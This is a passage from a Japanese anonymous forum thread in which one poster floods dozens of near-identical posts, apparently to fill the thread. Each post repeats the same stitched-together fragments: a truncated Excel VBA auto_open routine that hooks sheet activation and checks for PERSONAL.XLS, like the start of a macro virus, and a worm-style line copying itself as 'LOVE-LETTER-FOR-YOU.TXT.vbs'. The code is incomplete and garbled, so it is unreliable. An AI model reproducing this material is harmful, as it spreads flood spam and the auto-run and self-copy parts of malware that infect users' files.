
If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

725 番組の途中ですが名無しです :2012/01/31(火) 20:53:57 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

726 番組の途中ですが名無しです :2012/01/31(火) 20:54:29 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

727 番組の途中ですが名無しです :2012/01/31(火) 20:55:00 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

728 番組の途中ですが名無しです :2012/01/31(火) 20:55:33 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

729 番組の途中ですが名無しです :2012/01/31(火) 20:56:04 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

730 番組の途中ですが名無しです :2012/01/31(火) 20:56:35 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

731 番組の途中ですが名無しです :2012/01/31(火) 20:56:52 ID:Zpk/gYyQ
埋まってもまた立てればいい

732 番組の途中ですが名無しです :2012/01/31(火) 20:57:07 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

733 番組の途中ですが名無しです :2012/01/31(火) 20:57:40 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

734 番組の途中ですが名無しです :2012/01/31(火) 20:58:11 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

735 番組の途中ですが名無しです :2012/01/31(火) 20:58:42 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

736 番組の途中ですが名無しです :2012/01/31(火) 20:59:15 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

737 番組の途中ですが名無しです :2012/01/31(火) 20:59:46 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

738 番組の途中ですが名無しです :2012/01/31(火) 21:00:18 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

739 番組の途中ですが名無しです :2012/01/31(火) 21:00:50 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

740 番組の途中ですが名無しです :2012/01/31(火) 21:01:21 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

741 番組の途中ですが名無しです :2012/01/31(火) 21:01:52 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

742 番組の途中ですが名無しです :2012/01/31(火) 21:02:24 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

743 番組の途中ですが名無しです :2012/01/31(火) 21:02:55 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

744 番組の途中ですが名無しです :2012/01/31(火) 21:03:26 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

745 番組の途中ですが名無しです :2012/01/31(火) 21:03:56 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

746 番組の途中ですが名無しです :2012/01/31(火) 21:04:27 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

747 番組の途中ですが名無しです :2012/01/31(火) 21:04:58 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

748 番組の途中ですが名無しです :2012/01/31(火) 21:05:30 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

749 番組の途中ですが名無しです :2012/01/31(火) 21:06:01 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

750 番組の途中ですが名無しです :2012/01/31(火) 21:06:32 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

751 番組の途中ですが名無しです :2012/01/31(火) 21:07:03 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

752 番組の途中ですが名無しです :2012/01/31(火) 21:07:34 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

753 番組の途中ですが名無しです :2012/01/31(火) 21:08:07 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

754 番組の途中ですが名無しです :2012/01/31(火) 21:08:38 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

755 番組の途中ですが名無しです :2012/01/31(火) 21:09:09 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

756 番組の途中ですが名無しです :2012/01/31(火) 21:09:40 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

757 番組の途中ですが名無しです :2012/01/31(火) 21:10:11 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

758 番組の途中ですが名無しです :2012/01/31(火) 21:10:43 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

759 番組の途中ですが名無しです :2012/01/31(火) 21:11:14 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

760 番組の途中ですが名無しです :2012/01/31(火) 21:11:48 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

761 番組の途中ですが名無しです :2012/01/31(火) 21:12:19 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

762 番組の途中ですが名無しです :2012/01/31(火) 21:12:52 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

763 番組の途中ですが名無しです :2012/01/31(火) 21:13:23 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

764 番組の途中ですが名無しです :2012/01/31(火) 21:13:54 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

765 番組の途中ですが名無しです :2012/01/31(火) 21:14:25 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

766 番組の途中ですが名無しです :2012/01/31(火) 21:14:56 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

767 番組の途中ですが名無しです :2012/01/31(火) 21:15:28 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

768 番組の途中ですが名無しです :2012/01/31(火) 21:15:58 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

769 番組の途中ですが名無しです :2012/01/31(火) 21:16:29 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

770 番組の途中ですが名無しです :2012/01/31(火) 21:17:00 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

771 番組の途中ですが名無しです :2012/01/31(火) 21:17:31 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

772 番組の途中ですが名無しです :2012/01/31(火) 21:18:02 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

773 番組の途中ですが名無しです :2012/01/31(火) 21:18:33 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

774 番組の途中ですが名無しです :2012/01/31(火) 21:19:05 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

775 番組の途中ですが名無しです :2012/01/31(火) 21:19:37 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

776 番組の途中ですが名無しです :2012/01/31(火) 21:20:08 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

777 番組の途中ですが名無しです :2012/01/31(火) 21:20:41 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

778 番組の途中ですが名無しです :2012/01/31(火) 21:21:12 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

779 番組の途中ですが名無しです :2012/01/31(火) 21:21:44 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

780 番組の途中ですが名無しです :2012/01/31(火) 21:22:15 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

781 番組の途中ですが名無しです :2012/01/31(火) 21:22:48 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

782 番組の途中ですが名無しです :2012/01/31(火) 21:23:18 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

783 番組の途中ですが名無しです :2012/01/31(火) 21:23:49 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

784 番組の途中ですが名無しです :2012/01/31(火) 21:24:21 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

785 番組の途中ですが名無しです :2012/01/31(火) 21:24:52 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

